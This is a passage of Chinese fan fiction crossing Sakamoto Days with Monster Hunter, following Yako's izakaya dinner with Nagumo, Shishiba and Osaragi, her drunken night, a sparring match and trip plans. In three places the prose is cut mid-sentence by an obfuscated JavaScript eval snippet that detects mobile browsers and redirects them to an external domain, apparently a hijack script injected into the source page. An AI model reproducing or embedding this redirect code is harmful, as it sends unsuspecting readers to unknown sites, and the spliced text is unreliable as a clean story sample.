我想起来当时那袋“救济粮”,顿时眉开眼笑回答道:“是啊,又见面了,真巧。” 因为日行一善被记住了,我当然很高兴! 经此一出,神神廻似乎也记起来我这个人了,不过他只是沉默着目光在我和南云之间流转。 南云“啪”一声合上菜单:“他们应该在等你进行一个自我介绍。” 我了然:“你们好,我是百龙夜子,很高兴见到你们,今天是来这儿取钱和吃饭的。” “夜子是我的朋友哦~”南云像电视剧里的好哥们儿一样勾住我的肩膀补充,我这才真正意识到这家伙昨天和我成为了朋友啊。 “对,是朋友。” 感觉足足过去了一个世纪,神神廻才消化掉自己的情绪,恢复到第一次见面时平淡无波的模样: “你是哪里的杀手?” 他怕是在心里酝酿了许久对陌生人该如何开启一段聊天,可惜我马上又要把话聊死了。 “我不是杀手啊。” 神神廻眉头紧锁,眼神里是深深的不解与迷惑,他无意识地瞥向将我带至此处的南云,却发现那人正像是有所预料般地窃笑着,瞬间又觉得自己被戏弄了似的抽动着嘴角。 就连大佛都停止咀嚼,歪头不解地望向我。 “……这件事也很奇怪吗?” 11. 我当然不觉得自己有问题,有问题的绝对是那个在一旁笑得花枝乱颤的南云。 毕竟我在这里只是个略通武艺的普通便利店店员罢了。 12. 在那两人交头接耳窃窃私语目光交涉的时候,我利用这段时间已经高效地点好了菜。既然南云承诺我可以随便点单,那我就放开来吃吧。 菜陆陆续续上齐,我和大佛眼中迸发出同样的光芒,刹那间我俩或许都感受到了一种默契: 吃! 往死里吃! 13. 可能就是因为这样,我错过了南云与神神廻不时投来的那种耐人寻味的复杂目光。 12. 黄昏之眼 那天是和往日相差无几平淡无奇的一天,黑发男人身形轻快,第一个走出了那栋看似威严无比的白色巨塔。 南云在白塔第二十七层用过一顿相对不甚满意的午餐,酱料之咸腻让他险些失去对面部表情的控制。 不过,毕竟是统一的员工餐,他也从没有多少指望。 好在餐后甜点有神神廻表演了一出洋葱杀主厨惨剧,倒也不算那么无聊。 手机上收到一条讯息,上头发来了分配给自己的调查区域,用词激烈恨不得下一秒就让他能抓到四处作恶的『X』,他动动手指机械地按下「确认」键。 啊,ORDER,五个大写字母,以秩序之名……其实就是这样一帮超负荷绕着杀联会长指出的方向团团转的倒霉蛋,听起来光鲜亮丽,其实只不过是工资多一点、寿命少一点的社畜罢了。 他想起了自己不久前刚见的那个早早离职的挚友,总觉得那人已经领先自己一大步。 只是没想到这么快又要见面。 逆转会是PDF末页上写着的最后一个可疑地点,当他一路摸到最顶层时只闻到浓重的血腥味,推开门果然在那个房间里发现了堆积成山的尸体,血流成河。 当然也无法忽视那个歪斜的、略显诡异的“X”形血色记号。 原间谍科的他哀叹一声,默默扯过一把干净椅子在房间中央坐下,闭目屏息思考。 是斯拉首领?部下?亦或是激进追随者的模仿犯罪? 他发现了一串脚步声,是熟人。 天道酬勤,命运总会在无聊的工作中赐予他一些调剂。尽管他并不相信什么命运。 坂本和他的两个店员推开大门时,见到的就是南云垂首坐在血泊中的惊悚场景,在坂本眼里,这画面并不少见。 而南云像是天生就熟练掌握着一万种捉弄人的恶作剧方法,他只是略一眨眼就在一万种之中选择出一种最会让面前人气恼的方式进行攻击,尤其对面还是两个稚嫩的小鬼,这更有意思了。 不过坂本还是那样不解风情地一动不动看着他作妖,就像多年前死心眼追着任务跑从不在乎任何外物。 没劲。 他的伸缩小刀在指间如同蝴蝶一般飞动,第三节手指上的刺青随动作连成无形波浪线,南云头上顶着两个被朝仓和陆敲出的包,并肩走在坂本身旁,无意中问出一句: “就带了他俩?那个用太刀的没来啊。” 坂本太郎不明显地一愣,只是这点细微变化在顶尖杀手眼里无所遁形。 “你不要打她的主意。” 南云看向不远处拌嘴的另外两人,还没意识到那不单是坂本普通的护崽心切:“这么说那两个我怎么逗都没关系了?” 然而坂本下一句话却让他不得不正色: “如果可以的话,我只希望不要将她拉进这边的世界。” “她不像你能掌控的任何一个人。” 防弹眼镜遮去了坂本太郎的大部分神色,即便如此南云也还是读出了他的警示意味。 对,是警示。 坂本,你也变得有趣起来了。 …… 他硬是缠着三人一起回到商店,坂本自觉刚刚一番劝说反而起了反作用,便不再说话只是留下一个“适可而止”的嘴型,一切但凭他的良心。 明知山有虎,偏向虎山行。 南云通常不会真正对他人产生类似“在意”的情感,可现在,他对那个神秘的店员很好奇——究竟是怎样的人,会让坂本太郎也束手无策? 名为百龙夜子的店员将从梯子上摔下来,南云期待着她会作何反应:然而那是他从未见过的技艺,她手里抛出某样小小的物品,动作快得仿佛只是一个光点划过,偏偏又从她掌心牵出一条泛着淡淡蓝光的细线,看上去竟以空气为基点在头顶翻了个跟斗! 周围众人都习以为常,南云暂时按捺下好奇心像平常一样插科打诨,和夜子对上了视线。 他万万没想到这一眼会牵扯出那么多事来。 只是短短几分钟,南云便经历了被绑架、被威胁、被无视、被敲诈、以及“被”成为朋友。 百龙夜子是个简单好懂、想要的东西全部写在脸上,但又时常让人搞不懂行为逻辑的奇怪女人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063113|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……还是个强壮到轻轻松松能把他举起来的女人。 想到这儿,他的嘴角又忍不住地上扬,以微不可闻的音量哼起了轻快的小调。诶、他可不是有什么喜欢被女孩子抱起来的怪癖哦。 只是想到低下头时,那双透澈至虚无的眼瞳,由于对视而除了他以外空无一物的模样,他真的很想知道她在想什么。 他从百龙夜子与神神廻和大佛的相识中嗅出了一丝不同寻常的气息。出于直觉,他没来由地判断到以后会有数不尽的机会去探索她身上的秘密,她的出身,还有她的刀。 所以,不急于一时。 更何况,他们第二天还会有一场特殊的会面。 南云先前就大致推测到神佛二人会来这家居酒屋用餐,结合他们最近的任务量和任务地点来看,带着百龙夜子在这个时间点现身有百分之八十的可能和他们碰上面。 果不其然,他收获到了意料之中的结果。 她和神佛二人的相识存在诸多不合常理之处,然而本人却丝毫没察觉到任何不对劲;就最根本而言,一个普通店员是如何坐上杀联的专属用车的? 南云和神神廻稍稍靠边坐了点,侧头看着她和大佛二人以一种相似的惊人速度进食,一边压低声音交换信息。 “不仅不知道ORDER还对你们的一身血迹毫无所感吗……” “你又是怎么和她认识的?” “她是坂本的店员。” “坂本?”神神廻迟疑地念了一遍,“你是说坂哥?” 南云拿过刚上桌的一杯橙汁小口喝着点了点头。 整理完信息的瞬息间,南云脑内已经有了几个未来发展的可能性,一切因素都已考虑在内,只有百龙夜子,这个正大口咀嚼着唐扬鸡块的不稳定变量,他还是相当于一片空白。 还有坂本太郎对自己所说那番话的未尽之意又是如何,他也还没想明白。 百龙夜子究竟是何人物,她究竟有什么隐藏的秘密,她是否拥有足以令坂本侧目甚至忌惮的特殊能力,她又将归往何方? 要解答这些问题,只需要他亲自探索就好了。 13. 小酌几杯不是谦虚说法 1. 桌面上的食物不知不觉间就被一盘一盘清空了,我为了节约桌面空间把盘子从大到小堆叠起来,现在的高度已经与头顶齐平。 很有默契的,我和对面的大佛都没有在意一旁两个男人在讨论些什么,她神色平淡,目光专注,看不出有什么情绪。 话说,我和她的进食速度倒也是比较相似,只不过她看起来习惯一大口的吞咽,而我则更喜欢快速扒饭。 总体来说可能我还稍稍落后于她,毕竟我吃饭的时候常做出“这个好好吃!你也快尝尝!”然后托腮看着对面人吃下去的这类行为。 要说吃了多少,其实也不算多。 三年前刚来到这边的时候我就发现,霓虹人的胃口也太小了,饭店里的装盘更是不够塞牙缝,根本就不够我这样的怪物猎人补充体力的。 没有怪物啊,那另说。 2. 玉色的浅碟上,摆放着三枚炸至金黄的鸡肉丸子,据目测,大概可以四分之一口一个。 我戳起一个放入嘴中,还没入口就已经感受到了独属于炸物的酥脆可口,刚触碰到舌尖,先前淋上的柠檬汁液便率先绽放出一股酸甜清香,我还没反应过来时,牙齿就轻松咬开带有些微碎裂感的外皮,霎时间浓郁的肉香伴随肉汁敲打我的味蕾,好吃得令人呼吸一滞,仿佛晒了一下午暖洋洋的太阳。 我忍不住摇头晃脑跺起脚来。 大概是因为我动作幅度过大的缘故,牵扯到了我和南云一同坐着的长椅也晃了两下,他转过身来单手撑着脑袋,脸上写满了好奇: “怎么了?是吃到特别好吃的东西了吗?” 我正把碟子往大佛面前推了推,和她无声地交流着推荐原因,听闻南云开口,便拿起一旁的干净筷子,眼疾手快地戳中一颗肉丸,咏叹着将其送到他嘴边: “仙品!这肉丸实在是仙品!” 他怕我用筷子对不准他的嘴,索性坐得近了点儿,握住我几根手指,就着我的手吞下那颗肉丸。 “真的很美味~”他舔舐着嘴角粘上的油脂。 我迟疑着说:“你干啥看着我吃?我脸上又没长肉丸,油粘上嘴也是活该……” “你下次还是对食物多尊重些吧,这样绝对会比你现在这种吃法感觉更加美味的。” 一心一意地看着即将化作腹中力量的食物,并且感受来自食物赐予自己的幸福体验,那也是一种很棒的修行。 3. 可惜南云大概是领会不到这点的。 他吃完后.,既没有回味,又没有想起任何回忆,只是看向神神廻: “这个肉丸竟然只有三个呀!神神廻没能品尝到会不会又生气了想要把我杀掉啊?” 我:“不至于吧,你可不要小瞧了你们之间的同事情谊啊!” 4. 神神廻向我投来一种四分不解、三分凉薄、两分厌恶、一分怜悯的神秘目光。 5. 我端过刚上桌的大碗番茄叉烧拉面放到他面前,跨越了一整张桌面的拉面迁徙,正象征着一场恰到好处的和解仪式。 “神神廻先生,你吃拉面解解气。” 他正想说些什么,可手已经不自觉拿起筷子夹上面条,注意力一下子就被转移了。 不过也有可能是出于礼貌不再计较了。 我拍拍南云的肩膀,语重心长地劝说道:“你看,还是要对同事好一点吧,这样他就不会那么想杀你了。” 6. 菜还在源源不断地上桌。 “究竟点了多少东西啊……”神神廻一边腾着桌面空间一边碎碎念。 我想了想:“也不多吧,这一整份菜单上感觉没多少东西。” 更别提我现在其实还是半饱状态。 神神廻看着我和大佛之间堆得越来越高的碟子陷入了沉思。 “大佛,头发掉进碗里了。”他最后无力地提醒了一句。 服务员这时又来到了我们这桌,看上去有些大汗淋漓。她手上稳稳地托住托盘,上面是各种颜色各异的大杯饮料:“久等了!这里是你们的最后一批点单。” “朝日生啤,可尔必思嗨棒,季节限定柚子酒,……” 什么什么一长串的。 南云看着我凝重的表情笑眯眯开口道:“整个菜单还包括酒精饮料吧!夜子你不想喝的话浪费了也没关系~” 我:“我喝。” 7. 几个小时前老板对临行前的我欲言又止,后来大概是选择了最为重要的一句忠告: “你别被那家伙骗着灌了酒就好……” 我看着面前黄澄澄的、冒着泡儿的啤酒,一鼓作气不带断地喝了下去,也没感觉到有什么滋味。 心下叹了一口气:不是被灌酒,是我自己主动喝的可以吗老板…… 8. 我不是个爱喝酒的人,甚至可以说是有些抵抗。 因为我讨厌那种被酒精攫取身体掌控权的感觉,再者,酒真的不好喝。只有在村里举行大型宴会的时候,我会高高兴兴和大家一起小酌几杯。 我的酒量真的不怎么样。 普贤村长常说,我们村烈焰这孩子哪点都好,就是没法和她一边喝酒一边多聊聊天。对此我也比较惭愧。 ……我的酒量真的真的不怎么样。 9. 金色的,橘色的,粉色的,透明的,一杯接一杯下肚,我伴着桌上剩余的小吃毫不迟疑地吞咽。 大佛眨眨眼:“好厉害,喝了这么多都没有脸红。” 南云像是吃了一惊,后又向我极力推荐:“这个梅酒也很好喝哦。” 我接过他推到我面前的酒杯:“谢谢。” 闭着眼也能感受到的视线在我颈间打转,南云接着问我:“你的酒量是怎么练出来的?” “我没什么酒量的……” “夜子你在这方面倒是意外的谦虚呢。” “我说的是实话,不信你去问火芽水芸?” “那是谁?” “说了你也不认识……”我舔干净嘴角沾上的略甜酒渍,“是我老家的朋友啊,一对很漂亮的龙人族双胞胎姐妹。” “龙人族?”他重复着这个词。 面前还剩下两杯不知道是什么的酒,我刚想伸手拿过来,神神廻就啧了一声: “南云,剩下的我和你一人一杯喝了。” 我点点头:“啊,确实。忘记照顾你们了,一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063114|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在吃咸的没有饮料,果然会口渴。” 很久没说话的大佛终于开口了:“神神廻先生,明天就要去伊豆出差了,你喝酒真的不要紧吗……” “我不想开车……” 10. 伊豆? 11. 我的脑子努力转了转,终于茅塞顿开。 “那我明天也去伊豆吧!” “?” 从口袋里不知哪处翻出来一张皱皱巴巴的纸片摊开在桌上,我从后桌拿了支笔,张扬地在我名字后面写上神神廻和大佛的名字。 “……甜甜蜜蜜水之女神7日伊豆三人行?” “这名字听起来不太妙啊。” “什么是水之女神?” 我自信展示:“这是我凭实力赢来的啊!” “所以,你写上我和大佛的用意是……”神神廻手指敲击着桌面。 “当然是一起去度假咯!” “先不提我俩是去做任务的,邀请第二次见面的人一起去度假就有些超前……” “神神廻先生,我想看水之女神。”大佛打断了他的吐槽,扯扯他衣袖。 而南云还在拱火:“好可惜,我还是得留在东京这边——神神廻这么不想去度假是因为不爱度假吗?” “诶,你、我……” “哦,好吧夜子,神神廻好像爱工作胜过度假呢。”他无奈地叹了口气。 “神神廻先生好敬业哦。”我咽下最后一口梅酒,“但是大佛看上去很想去,怎么办?” 大佛点点头。 南云终于提出了一个可靠的建议:“你们一起出发去伊豆,到了以后夜子和大佛一起去玩,神神廻工作不就可以了吗?” “这个免谈。”神神廻按摩着太阳穴嘴角向下,“我去就行了吧。” “大佛,我和你明天先去把任务做了,之后你俩想怎样就怎样吧,我会看着的,这样可以了吗百龙小姐?” 我正为解决了这么一桩大事而感到庆幸,他们只能少玩一天这事也算不了什么大遗憾了。 12. 我之前说过的吧,我的酒量很差劲。 此话真不是开玩笑。 呼吸渐渐变得急促,我在意识清醒前抓住南云就像抓住最后的救命稻草: “快给老板打电话!……” 13. 这之后发生的事情等我从五百平米的大床上醒来意识回笼,通过落地窗发现这里是高耸入云的豪华酒店套房后,狠狠回忆过后才想起来。 我在房间角落里拿起太刀,无力地捶着地面。 湿漉漉的黑发男子从隔壁隔间走出来,身上只挂着一件浴袍: “醒这么早吗?我还以为昨天闹那么一出总会把你给累坏了。” ……这对吗? 这不对吧。 我拖着重重的脚步挪到他身边,无力地扒下他的浴袍: 入目是青青紫紫一片,这意味着我那片糟糕的回忆不是梦。 “你说,这下我得付多少钱啊?……” 沉默,震耳欲聋。 14. 实在是太悲伤了,所以关于昨天的回忆我绝对不会用第一人称讲给你们听。 14. 其实是我的第二人格你信吗 1. 一辈子很长,昨晚的混沌记忆也很长,但是烈焰坐在床边磨着刀,回忆起来却只是一分钟的事情。 三年间,她在坂本家滴酒未沾,一是因为几位成年人没有饮酒习惯,二是因为家里有未成年小孩。所以坂本太郎从来不知道她喝了酒是什么状态,也没想过要提防。 铃声响起时他正在陪小花识字,发现来者是那个熟悉号码后,他首先是眉头一皱,瞥了眼桌上的小时钟意识到早已过了通常社交礼仪上的晚餐时间。 ……那家伙不会出什么问题了吧。 但是先前已经交代过她一些注意事项,总不至于还会出错? “老板!——” 电话那端吵吵闹闹的,一片居酒屋该有的混乱常态,他刚想问问“你打算几点回家、要不要我去接你”,过于开朗的女声便沿着电话线传来: “今天我不回家了!我要和朋友们一起住!” 她是指……? “南云和谁?” 不过烈焰并未理会,反而自顾自地继续一一细数:“今天和朋友一起回家,明天开始和朋友一起去伊豆度假……” “嘿嘿,我朋友好多啊!” “……什么?” “我挂啦再见!” 他的疑问梗在喉咙里。 总感觉哪里怪怪的,但听声音又很正常。难道是在店里憋太久,一下出去玩嗨了? 坂本太郎实在是不放心,丝毫没意识到自己已经自动代入老父亲的角色,叹了口气回拨南云的电话。 不过这次接电话的是轻佻的男声。 “嗨坂本,该电话暂时不在服务区~” “你把夜子怎么了?” “我什么都没干哦。”南云看了眼行动力爆发强行拉着神佛二人制定旅行计划的烈焰,“毕竟我们是朋友嘛!” 坂本太郎更担心了。 “好过分,这么不信任我?” 南云轻描淡写地回复电话那头的沉默:“要是我说,朋友之一还包括神神廻呢?你放心吗?” “稍微放心一点。” “……如果真的是她想这样做的话,南云你多看着点她,啊或者让神神廻……” “好啦好啦,我知道了,再见咯坂本老爹!” 坂本太郎:怎么一个两个都爱挂我电话。 2. 几乎在南云挂断电话的同时,烈焰已经迅速安排好了接下来一周的行程: 第一天,探索地图,第二天,到处吃,第三天,和大佛一起到处吃,第四第五第六天,同上,第七天,买伴手礼准备回家。 至于神神廻?她不太清楚。 南云问:“不准备去潜水吗?那张票上面不是说包揽费用吗?” 烈焰如实回答:“因为我没学过。” 话锋又一转:“不过既然免费那我就算不会也要去玩玩了!” 3. 很奇怪的是,竟然没有人对这场莫名其妙进行的四人聚餐提出疑问,也没有人在意烈焰似乎即将夜不归宿。 “带我回家。”烈焰附在南云耳边,斜斜地倚靠在他身上。 南云因这突如其来的举动僵硬了几分:“憩来坂?” “不要,我去朋友家过夜。”烈焰拍了拍他的脑袋,“小黑你怎么学会说话了?好狗狗好棒……” “哈?” “嗯…谁家都行,我们去南云家吧!毕竟他还没还我钱!” 南云从烈焰出其不意的怀抱中奋力挣扎出来,喘着气看向对面目瞪口呆的神佛: “哎呀,她这是醉了?” “酒量不好是真的啊,我还没见过前摇这么长的醉汉。”神神廻低下头。 “南云先生,她是不是把你当成宠物了。”虽是疑问,但大佛用着肯定的语气。 烈焰又一口咬上他的肩膀,有力的手臂死死环绕在他胸前,嘴里嘟囔着:“小黑,出发出发!” “如、如你们所见……”南云尽力站起来调整了一下姿势,“我得、带她走人了,所以神神廻、你结账哦。” 神神廻又萌生了一些杀意。 4. 路上的人流渐渐稀少了,路灯投射下长长短短的影子,走在小路上的二人周围是短暂的宁静。 “南云家还没到吗?怎么这么远……” 经过一番挣扎,南云终于让烈焰松开了咬住他肩膀的嘴,也是废了一番心思将她换成了背着的姿势。 他步履蹒跚,久违地额头上滴下汗珠:“那要问你、还有你的刀,为什么这么重的……” “小黑你的实力大不如前啊,这就走不动了?”烈焰在他耳边喃喃自语,“我只不过穿了几百斤的轻甲啊,太刀也纳刀了来着……”* “几百斤……你不是只穿了T恤和外套吗?” “只是外观装备你忘了?小黑你个笨蛋。” 烈焰自诩一个体贴的主人,见自己的“牙猎犬”实在吃力,便纵身一跃跳下地,结果落地时习惯性拔刀二连斩,在黑夜里刀光闪闪格外突出。 后知后觉纳了刀,烈焰回过身,看起来像是脑子清明了一瞬。 “诶,南云,你在这儿啊,特地来接我的吗哈哈哈?” 南云发誓,他这辈子都没见过这么难缠的酒鬼。 他换上万年不变的笑容:“对,走吧,去我家。” “我记得我狗也在这儿啊你看到了吗?” 他咧咧嘴:“你的小黑不在这儿,它已经先回家了。” “……是不是我说他退步了就跑到道场去偷偷练习了呀!真懂事。” “可能没有吧,我看他只是累了。” 5. 从外表上来看,烈焰与正常人一般无异,然而守在她旁边的南云心中却蒙上了一层阴影。 他总感觉这一路上自己只是在和一个行走的铁墩子讲话,前言不搭后语,烈焰沉浸在自己的世界里,从来没有从正面回应他的套话。 南云放弃了。 “就是前面那幢大楼,我们赶紧进去吧。” 这是一家著名的高保密性酒店,为诸多富人政要所青睐,然而也正是这样一家酒店,南云在顶层定下了全年的整层套房用作安全屋,而这样的“安全屋”,他拥有着若干处。 “前台姐姐晚上好啊,我的顶层叫人再收拾出来一间房吧!”他圈住烈焰乱晃的身体,“就那间我平常睡的隔壁。” 他们在侧厅沙发上等候,烈焰揉揉眼,定睛看向中央被灯光照耀得金碧辉煌的巨大雕塑: “南云,等着也是等着,正好这里有个机关蛙,不如我来活动一下身子吧。” 歪斜着躺在沙发上的黑发男人正一点一滴恢复着体力,听到此话心里当即有了些预感,便坐起身来看热闹不嫌事大地让她随意。 烈焰先是伸了个懒腰,随后意义不明地连续在地上打了几个滚,南云为调整视野将身子往右挪动些许,见此情景已经多见不怪。只是一晃神,烈焰便目光一凛,似乎肉眼可见地改变了气场,踏步向前拔刀斩向了那座球形雕塑。 雕塑是大理石制成的,但受到烈焰的斩击却可疑地燃起了道道火焰,碎屑随着空气流动落到南云脚下,他弯下腰捻起一块,依稀有零星的火星子滋啦闪着光。 这实在是闻所未闻。 如果坂本太郎当时指的是他心中所想,那么他必定不会放过冒这个险。 而眼下,烈焰还在斩,饶是前台的工作人员见多识广,她也被吓得不知如何是好。南云走上前去安抚,眼睛一边不忘时刻关注着烈焰的动态,脑中预判着她也差不多快结束了。 没过一会儿,她就最后用上一个翔虫跳上雕塑,击中后又在空中借力向上腾飞一段,重重一斩直击雕塑面门,而她则是稳稳收刀落地。 一秒后,她的背后球形雕塑分崩离析,在轰鸣中大理石灰屑扬了整片侧厅,南云踢了脚飞出去的石块,感觉碎成这么小块倒也方便人家打扫了。 站在震动中心的烈焰身上却没沾上一点灰尘,她将太刀重新背回身后,动作中甚至还透着一丝失望: “为什么这个机关蛙不攻击我啊,这样叫我怎么居合……” 南云思考片刻,迅速得出了据自己了解此时最应该对她说的话: “但是刚刚那个最后一击很帅呢!” 烈焰果不其然两眼一亮:“是吧!我们登龙斩就是这样帅得毫不费力啊!” 如此好懂。 南云向前台比了个“那玩意儿算我头上”的手势,适时阻止了烈焰漫无止境的太刀使用说明: “房间收拾好了,先上楼吧夜子。” “可是刚刚那个一点没意思,我想再打……” 烈焰懊恼地锤了下地面,显然是没打尽兴——但是恐怕这里也没有别的东西能让她玩玩了。 所以最后,南云想出一计: “要不你上楼,我们去家里打?” “你家里也装了机关蛙吗?” “我是说,你和我打。” 烈焰吃了一惊坚决拒绝了这个提议:“不行,绝对不行的!你是我的朋友,怎么能砍你呢?” “我好歹也是个order啊夜子,可不要小看我哦。” “万一把你打死了就不好了呀!” “不用武器,只是我们两个之间玩玩也不可以吗……?”南云装作低落的神色,果然博得了烈焰的同情。 只是一直到走出电梯门,她还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063115|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在不断地征询南云的确认,是否真的想和她打一架,是否真的打伤了他也没关系,一副将他视作脆皮小猫咪的模样。 虽然为了一试深浅,他已经做足了心理准备,甚至连最后可能受的伤都计算在内,作为换取烈焰愧疚心情并以此要挟的筹码,但是她持续的确认就仿佛让躺在手术室的病人在动刀子之前签上十份手术协议一样,令他惴惴不安。 离开了太刀,怎样都不至于死、不,输得很惨吧? 6. 事实证明,话不要说得太满。 顶楼的房间为了适应房主爱好而布置成简约风格,这也就意味着这个最大的房间是个良好的战场。 南云把所有顶灯都打开,顿时屋内亮如白昼,他脱下外套,活动着手腕: “活动范围就在这个房间,可以吗?” 回应他的是烈焰毫无章法突刺袭来的直拳。 说着不想和朋友开打,实际上却很好战嘛。南云此时还有余裕吐槽,不过之后就再也无暇顾及了。 二人一旦进入战斗状态,都出奇相似地与平日大相径庭。同为进攻型战斗风格,大致的作战思路却完全不同。 烈焰凭借着过硬的身体素质,每次出招基本都是重力量型攻击,南云在意识到这一点后,便灵活地运用战斗技巧和场地布置,尽可能限制住她的行动。 “喝啊!” 南云后跳一步回避攻击,随即身体下潜出拳攻向烈焰腹部,而烈焰也反应迅速,顶膝防御反击。本应被她撞飞出去的南云因为预判到了她的动作而略一偏转,只是被撞到了一边的墙壁上,不过就算如此,他也没能逃过烈焰在空中的转身踢击。 在打架的时候,烈焰并不爱说话,这让南云感到格外陌生,但事实上他也并不了解烈焰。 他单手撑地,一脚蹬着书架借力攻击烈焰下盘,一击低扫腿并未能撼动她的攻势,只让她略微踉跄了两步。 现在他们又拉开距离了。 南云抹干净嘴角流下的血痕,到此为止,他已经中了烈焰的三拳一踢了,看似不起眼,但绝不能忽略对面是个重量级对战人物。由惯性导致的冲击可不是盖的。 这一次依旧是烈焰先行发动了进攻,还是那样不假思索的直拳,南云甩了甩手跨步向右位移,判断出距离得当后果断扭转舍身飞踢击中烈焰左肩。 她终于“唔”地惊呼了一声,伸手扶了下一旁的柜子。 南云从飞踢悬空状态恢复身位需要一些时间,他选择了后空翻拉开距离,并来到障碍物较多的一侧。 照常理来说,这个情况下烈焰必定会用翔虫进行疾翔衍生一个下落踢头暴击,然而对手并没有翔虫这一技能,为了公平起见她还是选择了放弃。 就是这愣神的一瞬间,南云利用地形快速切近,眉头一皱将同样的直拳回敬给她。烈焰虽错过了反击的最佳机会,但战斗习惯让她在受击后下意识转身用力一个鞭拳。 本该有效的。 然而她的站位是在墙边。她的拳头深深地嵌进了房间的墙壁。 烈焰愣了愣,心跳却条件反射地加速,她举起另一只手向南云投降: “超出房间范围……是我输了……” “对不起呜哇!”她意想不到地因为这种小事而哭泣起来,“我不是故意要弄坏你家的!” 南云放下戒备姿势,险些有些摸不着头脑:“不不,你不用这么……其实我弄坏的东西比你要多得多?” 他能说他们order每次出动就动辄赔偿上百千万吗?烈焰还是太保守了点。 不过至今他的目的不管怎样还是达成了,甚至超标完成了“歉意”这一项。 7. …… 难道说就算是刚才的重击,都是她有意压低了力道来的? 8. 烈焰怀着对自我的深刻谴责帮助南云整理房间。 “其实明天有专门的保洁过来清扫的。” “不,你让我赎罪吧南云!” 总之,等折腾完这一番已经是后半夜,落地窗洁净明亮,视野开阔,从那里看过去能将整座城市纳入眼下。 夜色依旧有些朦胧,她睡不习惯柔软的大床,于是爬到飘窗的垫子上看夜景。 她突然间又想起了半路消失的“牙猎犬”,不由得开始回忆在炎火村和朋友们一起躺在草地上看星星的夜晚,她窝在狗狗温暖的怀里,手上抚摸着窝在她怀里的艾露猫。温度的层层重叠,构成了一个个不曾褪色的夜晚。 迷蒙中,她枕着窗外的夜色渐渐入眠,梦中有故乡,有凶恶的猛龙,还有更多的欢声笑语。 “小黑……你跑到哪里去了……” 烈焰的呓语,不知又被谁听了去。 15.旅行社可以保持沉默 1. 如果太刀是万能的话,我希望能把脑子里关于昨天的回忆砍掉。 桌上摆放着两份吐司三明治以及热牛奶,是南云在我醒了之后订的餐。 我心情复杂地坐到餐桌对面,头发还是乱糟糟的,有几根还随着吞咽的动作翘进了嘴里。 不过这顿早餐还意外地好吃,吐司绝对是用黄油抹过,面包边被烤得格外酥脆,整个都散发出诱人的香味。 烟熏培根和香烤猪扒各自都盖了整整两层,生怕我不够吃似的都从吐司中冒了出来,其中夹着的煎蛋似乎也是双份的,其中一个甚至还有些溏心,鸡蛋液流淌在口唇之间的感觉简直天上人间。 我很快就吃完了,烦躁的心情也随着蛋液流进了肚子消失不见。 更别提南云还给我开了一张支票!虽然我不会用。 这张数额远远大于“采购文化衫”的支票让我看了很久才看明白,他告诉我剩下的钱让我去伊豆给他买纪念品,再花剩下的就全数归我了。 我抬头疑惑地询问:“我做了什么值得嘉奖的事吗?……昨天反而还害你赔了一大笔钱,是我欠你的才对吧……” 他托腮看着我喝完一整杯牛奶:“那个你不用担心,赔偿金可以向公司报销。” “剩下的钱啊,应该是‘朋友费’,你听说过吧!” “真的假的?那我要交给你什么好呢……” “那你就慢慢想咯!” 2. 不过现在最紧急的任务,是回商店一趟: 拿出门旅行的行李亦或是向老板道歉并请假,真不知道哪一项更重要。 昨天在居酒屋我记得已经联系过负责包揽我旅行的公司,但是客服略显歉疚地和我汇报说,由于我说得突然,想要搭乘的铁路都已经满员了。 ——不过好在天无绝人之路,他们为我找到了一艘下午一点出发的游轮,只不过行进速度比较慢,第二天才能到达目的地。 而且多出的票价还需要我自己补齐。 而现在,时针已经指向九点,正所谓迫在眉睫。我重新背上太刀,向南云挥别。 “这就走了?”他对着镜子整理领带,“大门在那边,你似乎走错了。” 我一手扒上窗户,回头粲然一笑:“我不走电梯啊,直接下去更快。” “那就再见——啦——” 尾音消失在了空气中。 3. 沿着来时的路线,我在城市上空边疾翔边跑酷,一路匆匆忙忙回到憩来坂。 坂本商店已经开门很久,朝仓信还在门前扫地,见到我从天而降,仿佛家养小狗一样兴冲冲举起扫把,招呼打到一半,眼神却急匆匆向下瞥向别处: “我还以为你不会回来了呢。” “笨蛋啊,我还得回来拿了行李才能走。” 走进店里,老板放下手里报纸推了推眼镜: “……南云家,怎么样?” “挺大的,风景也好,就是墙壁有些脆弱。”我比了个大拇指。 老板不知为何松了口气。 4. 请完假立刻跑去后院收拾行李,却被跑来的少糖打断了动作。 她由于吃惊而张大了嘴:“夜子姐,你为什么还要把帐篷收走啊?……” 我不解:“出门旅行难道不带帐篷吗?” “那当然啦,有酒店住的吧!姐姐你也该像正常人一样学习睡床了。”她将手随意搭在我肩头。 